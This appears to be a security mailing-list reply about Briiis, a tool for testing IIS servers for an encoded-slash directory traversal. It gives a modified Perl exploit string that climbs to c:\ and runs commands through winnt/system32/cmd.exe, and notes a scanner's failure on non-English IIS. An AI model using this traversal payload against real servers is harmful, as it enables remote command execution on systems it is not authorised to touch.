Re: iXsecurity.tool.briiis.3.02

[Nicolas Gregoire <nicolas.gregoire () 7thzone com>]

ian.vitek () ixsecurity com wrote :

> Briiis is a tool for testing web servers for "/" encoding
> break out from web root vulnerability from an executable
> directory.

Your tool doesn't find all vulnerable hosts.
The "exploit string" (ie. $explstr in the programm) doesn't contain (in
some cases) enough "../" and can't be used to access up to c:\
 
Here are the modifications I did to your toy :
OLD LINE :
$explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..${opt_F}winnt/system32/cmd.exe?/c+$opt_c"
if ($opt_c);
NEW LINE :
$explstr="/..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F..$opt_F../winnt/system32/cmd.exe?/c+$opt_c"
if ($opt_c);

Thanks for the list of directories, I was looking for a good one.

NB : last time I checked it, the unicoder.pl tool from HD Moore couldn't
find non-english vulnerable versions of IIS (it is looking for
"Directory of" in the returned content and it's, for exemple,
"Répertoire de" in french).

Please excuse my poor english.
Nicob